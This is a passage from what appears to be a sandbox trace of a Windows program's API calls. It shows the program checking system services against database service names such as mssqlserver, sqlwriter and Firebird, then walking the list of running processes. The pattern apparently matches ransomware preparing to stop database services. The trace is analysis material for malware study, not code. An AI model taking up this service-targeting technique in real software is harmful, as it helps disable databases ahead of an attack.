(lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0177.866] lstrlenW (lpString="Schedule") returned 8 [0177.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0177.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0177.866] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0177.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0177.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0177.867] lstrlenW (lpString="SecurityHealthService") returned 21 [0177.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.867] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0177.867] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0177.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0177.867] lstrlenW (lpString="SENS") returned 4 [0178.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0178.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0178.500] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0178.500] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0178.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0178.500] lstrlenW (lpString="ShellHWDetection") returned 16 [0178.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.500] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0178.500] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0178.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0178.500] lstrlenW (lpString="Spooler") returned 7 [0178.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0178.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0178.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0178.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0178.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0178.500] lstrlenW (lpString="SSDPSRV") returned 7 [0178.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0178.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0178.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0178.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0178.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0178.501] lstrlenW (lpString="StateRepository") returned 15 [0178.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0178.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0178.501] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0178.501] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0178.501] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0178.501] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0178.505] Process32FirstW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.506] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0178.507] lstrlenW (lpString="System") returned 6 [0178.507] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0178.507] lstrlenW (lpString="smss.exe") returned 8 [0178.507] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.508] lstrlenW (lpString="csrss.exe") returned 9 [0178.508] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0178.509] lstrlenW (lpString="wininit.exe") returned 11 [0178.509] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.509] lstrlenW (lpString="csrss.exe") returned 9 [0178.509] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0178.510] lstrlenW (lpString="winlogon.exe") returned 12 [0178.510] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0178.511] lstrlenW (lpString="services.exe") returned 12 [0178.511] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0178.511] lstrlenW (lpString="lsass.exe") returned 9 [0178.511] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.512] lstrlenW (lpString="svchost.exe") returned 11 [0178.512] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0178.513] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0178.513] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0178.513] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0178.513] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.514] lstrlenW (lpString="svchost.exe") returned 11 [0178.514] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0178.515] lstrlenW (lpString="dwm.exe") returned 7 [0178.515] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.515] lstrlenW (lpString="svchost.exe") returned 11 [0178.516] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.516] lstrlenW (lpString="svchost.exe") returned 11 [0178.516] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.517] lstrlenW (lpString="svchost.exe") returned 11 [0178.517] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.518] lstrlenW (lpString="svchost.exe") returned 11 [0178.518] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.518] lstrlenW (lpString="svchost.exe") returned 11 [0178.518] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.519] lstrlenW (lpString="svchost.exe") returned 11 [0178.519] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.520] lstrlenW (lpString="svchost.exe") returned 11 [0178.520] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.520] lstrlenW (lpString="svchost.exe") returned 11 [0178.520] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.521] lstrlenW (lpString="svchost.exe") returned 11 [0178.521] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0178.522] lstrlenW (lpString="spoolsv.exe") returned 11 [0178.522] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.523] lstrlenW (lpString="svchost.exe") returned 11 [0178.524] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.525] lstrlenW (lpString="svchost.exe") returned 11 [0178.525] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0178.525] lstrlenW (lpString="audiodg.exe") returned 11 [0178.525] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0178.526] lstrlenW (lpString="sihost.exe") returned 10 [0178.526] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.527] lstrlenW (lpString="svchost.exe") returned 11 [0178.527] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0178.527] lstrlenW (lpString="taskhostw.exe") returned 13 [0178.527] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0178.528] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0178.528] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0178.529] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0178.529] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0178.530] lstrlenW (lpString="explorer.exe") returned 12 [0178.530] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0178.530] lstrlenW (lpString="Memory Compression") returned 18 [0178.530] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0178.531] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0178.531] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0178.532] lstrlenW (lpString="SearchUI.exe") returned 12 [0178.532] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0178.532] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0178.533] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0178.533] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0178.533] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0178.534] lstrlenW (lpString="taskhostw.exe") returned 13 [0178.534] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0178.535] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0178.535] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0178.535] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0178.535] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0178.536] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0178.536] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0178.537] lstrlenW (lpString="conhost.exe") returned 11 [0178.537] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0179.068] lstrlenW (lpString="screensaver.exe") returned 15 [0179.068] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0179.069] lstrlenW (lpString="upperarc.exe") returned 12 [0179.069] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0179.069] lstrlenW (lpString="buying.exe") returned 10 [0179.069] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0179.070] lstrlenW (lpString="downloadable.exe") returned 16 [0179.070] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0179.071] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0179.071] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0179.071] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0179.071] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0179.072] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0179.072] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0179.073] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0179.073] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0179.073] lstrlenW (lpString="moments.exe") returned 11 [0179.073] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0179.074] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0179.074] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0179.075] lstrlenW (lpString="stream-test.exe") returned 15 [0179.075] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0179.078] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0179.078] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0179.078] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0179.078] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0179.079] lstrlenW (lpString="movers-indication.exe") returned 21 [0179.079] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0179.080] lstrlenW (lpString="drama tv thee.exe") returned 17 [0179.080] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0179.081] lstrlenW (lpString="barriers.exe") returned 12 [0179.081] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0179.081] lstrlenW (lpString="shootclick.exe") returned 14 [0179.081] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0179.082] lstrlenW (lpString="nickel.exe") returned 10 [0179.082] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0179.083] lstrlenW (lpString="imperialopened.exe") returned 18 [0179.083] Process32NextW (in: hSnapshot=0x308, 